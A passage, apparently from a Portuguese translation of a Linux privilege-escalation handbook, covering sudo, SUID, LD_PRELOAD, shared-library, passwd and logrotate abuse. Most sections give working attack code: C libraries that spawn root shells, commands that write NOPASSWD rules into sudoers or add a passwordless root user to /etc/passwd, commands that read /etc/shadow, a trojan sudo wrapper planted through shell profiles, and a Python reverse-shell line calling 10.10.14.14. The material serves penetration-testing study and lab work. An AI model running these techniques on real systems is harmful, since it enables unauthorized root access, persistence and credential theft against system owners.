exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** ao **sequestro de PYTHONPATH** para carregar uma biblioteca python arbitrária enquanto executava o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Bypass de execução do Sudo através de caminhos **Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less ``` ```bash ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` Se um **wildcard** for usado (\*), é ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Comando Sudo/Binário SUID sem caminho do comando Se a **permissão sudo** for concedida a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_, você pode explorá-lo alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` Esta técnica também pode ser usada se um binário **suid** **executar outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. [Exemplos de payloads para executar.](payloads-to-execute.md) ### Binário SUID com caminho do comando Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` Então, quando você chama o binário suid, essa função será executada ### LD\_PRELOAD & **LD\_LIBRARY\_PATH** **LD\_PRELOAD** é uma variável ambiental opcional contendo um ou mais caminhos para bibliotecas compartilhadas, ou objetos compartilhados, que o carregador irá carregar antes de qualquer outra biblioteca compartilhada, incluindo a biblioteca de tempo de execução do C (libc.so). Isso é chamado de pré-carregamento de uma biblioteca. Para evitar que esse mecanismo seja usado como um vetor de ataque para binários executáveis _suid/sgid_, o carregador ignora _LD\_PRELOAD_ se _ruid != euid_. Para tais binários, apenas bibliotecas em caminhos padrão que também são _suid/sgid_ serão pré-carregadas. Se você encontrar na saída de **`sudo -l`** a frase: _**env\_keep+=LD\_PRELOAD**_ e você pode chamar algum comando com sudo, você pode escalar privilégios. ``` Defaults env_keep += LD_PRELOAD ``` Salve como **/tmp/pe.c** ```c #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } ``` Então **compile-o** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` Finalmente, **escalar privilégios** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` {% hint style="danger" %} Um privesc similar pode ser explorado se o atacante controlar a variável de ambiente **LD\_LIBRARY\_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. {% endhint %} ```c #include #include static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ``` ```bash # Compile & execute cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – Injeção de .so Se você encontrar algum binário estranho com permissões **SUID**, você pode verificar se todos os arquivos **.so** estão sendo **carregados corretamente**. Para fazer isso, você pode executar: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Por exemplo, se você encontrar algo como: _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)_, você pode explorá-lo. Crie o arquivo _/home/user/.config/libcalc.c_ com o código: ```c #include #include static void inject() __attribute__((constructor)); void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` Compile usando: ```bash gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c ``` E execute o binário. ## Sequestro de Objeto Compartilhado ```bash # Lets find a SUID using a non-standard library ldd some_suid something.so => /lib/x86_64-linux-gnu/something.so # The SUID also loads libraries from a custom location where we can write readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` Agora que encontramos um binário SUID carregando uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include #include static void hijack() __attribute__((constructor)); void hijack() { setresuid(0,0,0); system("/bin/bash -p"); } ``` Se você receber um erro como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` isso significa que a biblioteca que você gerou precisa ter uma função chamada `a_function_name`. ### GTFOBins [**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **injetar apenas argumentos** em um comando. O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, criar bind e reverse shells, e facilitar outras tarefas pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' {% embed url="https://gtfobins.github.io/" %} {% embed url="https://gtfoargs.github.io/" %} ### FallOfSudo Se você pode acessar `sudo -l`, você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra como explorar alguma regra do sudo. ### Reutilizando Tokens do Sudo No cenário onde **você tem um shell como um usuário com privilégios de sudo** mas você não sabe a senha do usuário, você pode **esperar que ele/ela execute algum comando usando `sudo`**. Então, você pode **acessar o token da sessão onde o sudo foi usado e usá-lo para executar qualquer coisa como sudo** (escalada de privilégios). Requisitos para escalada de privilégios: * Você já tem um shell como usuário "_sampleuser_" * "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir nenhuma senha) * `cat /proc/sys/kernel/yama/ptrace_scope` é 0 * `gdb` está acessível (você pode ser capaz de fazer upload dele) (Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) * O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell de root, faça `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` * O **segundo exploit** (`exploit_v2.sh`) criará um shell sh em _/tmp_ **propriedade do root com setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` * O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna os **tokens do sudo eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ Se você tem **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) para **criar um token sudo para um usuário e PID**.\ Por exemplo, se você pode sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e você tem um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar conhecer a senha fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e grupo root**.\ **Se** você conseguir **ler** este arquivo, poderá ser capaz de **obter algumas informações interessantes**, e se você puder **escrever** em algum arquivo, será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` Se você pode escrever, você pode abusar desta permissão ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` Outra forma de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS Existem algumas alternativas ao binário `sudo` como o `doas` para OpenBSD, lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sequestro de Sudo Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para elevar privilégios e você conseguiu um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho no .bash\_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. Observe que se o usuário usa um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) Ou executando algo como: ```bash cat >/tmp/sudo < /tmp/privesc /usr/bin/sudo "\$@" EOF chmod +x /tmp/sudo echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other # From the victim zsh echo $PATH sudo ls ``` ## Biblioteca Compartilhada ### ld.so O arquivo `/etc/ld.so.conf` indica **de onde os arquivos de configuração carregados são**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema procurará por bibliotecas dentro de `/usr/local/lib`**. Se por alguma razão **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta dentro do arquivo de configuração em `/etc/ld.so.conf.d/*.conf`, ele pode ser capaz de escalar privilégios.\ Veja **como explorar essa má configuração** na página a seguir: {% content-ref url="ld.so.conf-example.md" %} [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} ### RPATH ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` Copiando a biblioteca para `/var/tmp/flag15/`, ela será utilizada pelo programa neste local conforme especificado na variável `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` Então crie uma biblioteca maliciosa em `/var/tmp` com `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` ## Capacidades Capacidades no Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os **privilégios de root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente aos processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ Leia a seguinte página para **aprender mais sobre capacidades e como abusar delas**: {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} ## Permissões de diretório Em um diretório, o **bit para "executar"** implica que o usuário afetado pode entrar ("**cd**") na pasta.\ O bit de **"leitura"** implica que o usuário pode **listar** os **arquivos**, e o bit de **"escrita"** implica que o usuário pode **deletar** e **criar** novos **arquivos**. ## ACLs ACLs (Listas de Controle de Acesso) são o segundo nível de permissões discricionárias, que **podem sobrescrever as padrões ugo/rwx**. Quando usadas corretamente, elas podem conceder uma **melhor granularidade na configuração de acesso a um arquivo ou diretório**, por exemplo, concedendo ou negando acesso a um usuário específico que não é nem o proprietário do arquivo nem o dono do grupo (de [**aqui**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\ **Conceda** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` **Obtenha** arquivos com ACLs específicas do sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessões de shell abertas Em **versões antigas** você pode **sequestrar** algumas sessões de **shell** de um usuário diferente (**root**).\ Nas **versões mais recentes**, você só poderá **conectar** a sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### sequestro de sessões de tela **Listar sessões de tela** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../.gitbook/assets/image (130).png>) **Anexar a uma sessão** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` ## Sequestro de sessões tmux Este era um problema com **versões antigas do tmux**. Não consegui sequestrar uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. **Listar sessões tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` ```markdown ![](<../../.gitbook/assets/image (131).png>) **Anexar a uma sessão** ``` ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself ls -la /tmp/dev_sess #Check who can access it rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` Verifique a **Valentine box from HTB** para um exemplo. ## SSH ### Debian OpenSSL PRNG Previsível - CVE-2008-0166 Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por este bug.\ Este bug ocorre ao criar uma nova chave ssh nesses SOs, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### Valores de configuração interessantes do SSH * **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. * **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. * **PermitEmptyPasswords**: Quando a autenticação por senha é permitida, especifica se o servidor permite login em contas sem senha. O padrão é `no`. ### PermitRootLogin Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: * `yes`: root pode fazer login usando senha e chave privada * `without-password` ou `prohibit-password`: root só pode fazer login com uma chave privada * `forced-commands-only`: Root só pode fazer login usando chave privada e se as opções de comandos estiverem especificadas * `no` : não ### AuthorizedKeysFile Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação do usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh vai comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding O encaminhamento do agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem frases de senha!) armazenadas no seu servidor. Assim, você poderá **pular** via ssh **para um host** e de lá **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. Você precisa configurar essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). O arquivo `/etc/ssh_config` pode **sobrescrever** estas **opções** e permitir ou negar esta configuração.\ O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). Se você descobrir que o Forward Agent está configurado em um ambiente, leia a seguinte página, pois **você pode ser capaz de abusar disso para escalar privilégios**: {% content-ref url="ssh-forward-agent-exploitation.md" %} [ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md) {% endcontent-ref %} ## Arquivos Interessantes ### Arquivos de Perfis O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você pode **escrever ou modificar qualquer um deles, você pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` Se algum script de perfil estranho for encontrado, você deve verificá-lo para **detalhes sensíveis**. ### Arquivos Passwd/Shadow Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` Em algumas ocasiões, você pode encontrar **hashes de senha** dentro do arquivo `/etc/passwd` (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### /etc/passwd editável Primeiro, gere uma senha com um dos seguintes comandos. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` Então adicione o usuário `hacker` e adicione a senha gerada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Agora você pode usar o comando `su` com `hacker:hacker` Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.\ AVISO: você pode diminuir a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` Por exemplo, se a máquina estiver executando um servidor **tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` ### Verificar Pastas As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` ### Arquivos em Localizações Estranhas/Possuídos ```bash #root owned files in /home folders find /home -user root 2>/dev/null #Files owned by other users in folders owned by me for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done #Files owned by root, readable by me but not world readable find / -type f -user root ! -perm -o=r 2>/dev/null #Files owned by me or world writable find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; do printf " Group $g:\n"; find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null done done ``` ### Arquivos modificados nos últimos minutos ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` ### Arquivos de banco de dados Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` ### Arquivos \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` ### Arquivos ocultos ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` ### **Scripts/Binários no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` ### **Arquivos da web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` ### **Backups** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` ### Arquivos conhecidos contendo senhas Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários possíveis arquivos que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs Se você pode ler logs, você pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho for o log, mais interessante ele será (provavelmente).\ Além disso, alguns **logs de auditoria** mal configurados (com backdoor?) podem permitir que você **grave senhas** dentro dos logs de auditoria como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) será realmente útil. ### Arquivos Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist ~/.profile # if it exists, read once if the two above don't exist /etc/profile # only read if none of the above exists ~/.bashrc # if it exists, read it every time you start a new shell ~/.bash_logout # if it exists, read when the login shell exits ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` ### Busca Genérica de Creds/Regex Você também deve verificar arquivos que contenham a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e e-mails dentro de logs, ou regexps de hashes.\ Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos Editáveis ### Sequestro de biblioteca Python Se você sabe **de onde** um script python será executado e você **pode escrever dentro** dessa pasta ou pode **modificar bibliotecas python**, você pode modificar a biblioteca OS e colocar um backdoor nela (se você pode escrever onde o script python vai ser executado, copie e cole a biblioteca os.py). Para **colocar um backdoor na biblioteca** basta adicionar no final da biblioteca os.py a seguinte linha (altere IP e PORTA): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploração do Logrotate Existe uma vulnerabilidade no `logrotate` que permite a um usuário com **permissões de escrita sobre um arquivo de log** ou **qualquer** um dos seus **diretórios pais** fazer com que o `logrotate` escreva **um arquivo em qualquer local**. Se o **logrotate** estiver sendo executado pelo **root**, então o usuário poderá escrever qualquer arquivo em _**/etc/bash\_completion.d/**_ que será executado por qualquer usuário que fizer login.\ Portanto, se você tem **permissões de escrita** sobre um **arquivo de log** **ou** qualquer um dos seus **diretórios pais**, você pode **escalar privilégios** (na maioria das distribuições Linux, o logrotate é executado automaticamente uma vez por dia como **usuário root**). Além disso, verifique se, além de _/var/log_, há mais arquivos sendo **rotacionados**. {% hint style="info" %} Esta vulnerabilidade afeta a versão `3.18.0` do `logrotate` e anteriores {% endhint %} Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). Esta vulnerabilidade é muito semelhante ao [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logs do nginx),** então, sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se você pode escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**. Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~executados\~ no Linux pelo Network Manager (dispatcher.d). No meu caso, o atributo `NAME=` nestes scripts de rede não é tratado corretamente. Se você tem **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` (_Nota: o espaço em branco entre Network e /bin/id_) **Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) ### **init, init.d, systemd e rc.d** `/etc/init.d` contém **scripts** usados pelas ferramentas de inicialização System V (SysVinit). Este é o **pacote de gerenciamento de serviços tradicional para Linux**, contendo o programa `init` (o primeiro processo executado quando o kernel terminou de inicializar¹) bem como alguma infraestrutura para iniciar e parar serviços e configurá-los. Especificamente, arquivos em `/etc/init.d` são scripts shell que respondem aos comandos `start`, `stop`, `restart` e (quando suportado) `reload` para gerenciar um serviço específico. Esses scripts podem ser invocados diretamente ou (mais comumente) por meio de algum outro gatilho (tipicamente a presença de um link simbólico em `/etc/rc?.d/`). (De [aqui](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). Outra alternativa para esta pasta é `/etc/rc.d/init.d` no Redhat. `/etc/init` contém **arquivos de configuração** usados pelo **Upstart**. Upstart é um **pacote de gerenciamento de serviços** moderno promovido pelo Ubuntu. Arquivos em `/etc/init` são arquivos de configuração que instruem o Upstart sobre como e quando `start`, `stop`, `reload` a configuração ou consultar o `status` de um serviço. A partir do lucid, o Ubuntu está fazendo a transição do SysVinit para o Upstart, o que explica por que muitos serviços vêm com scripts SysVinit, embora os arquivos de configuração do Upstart sejam preferidos. Os scripts SysVinit são processados por uma camada de compatibilidade no Upstart. (De [aqui](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). **systemd** é um **sistema de inicialização do Linux e gerenciador de serviços que inclui recursos como o início sob demanda de daemons**, manutenção de pontos de montagem e automontagem, suporte a snapshots e rastreamento de processos usando grupos de controle do Linux. systemd fornece um daemon de log e outras ferramentas e utilitários para ajudar em tarefas comuns de administração do sistema. (De 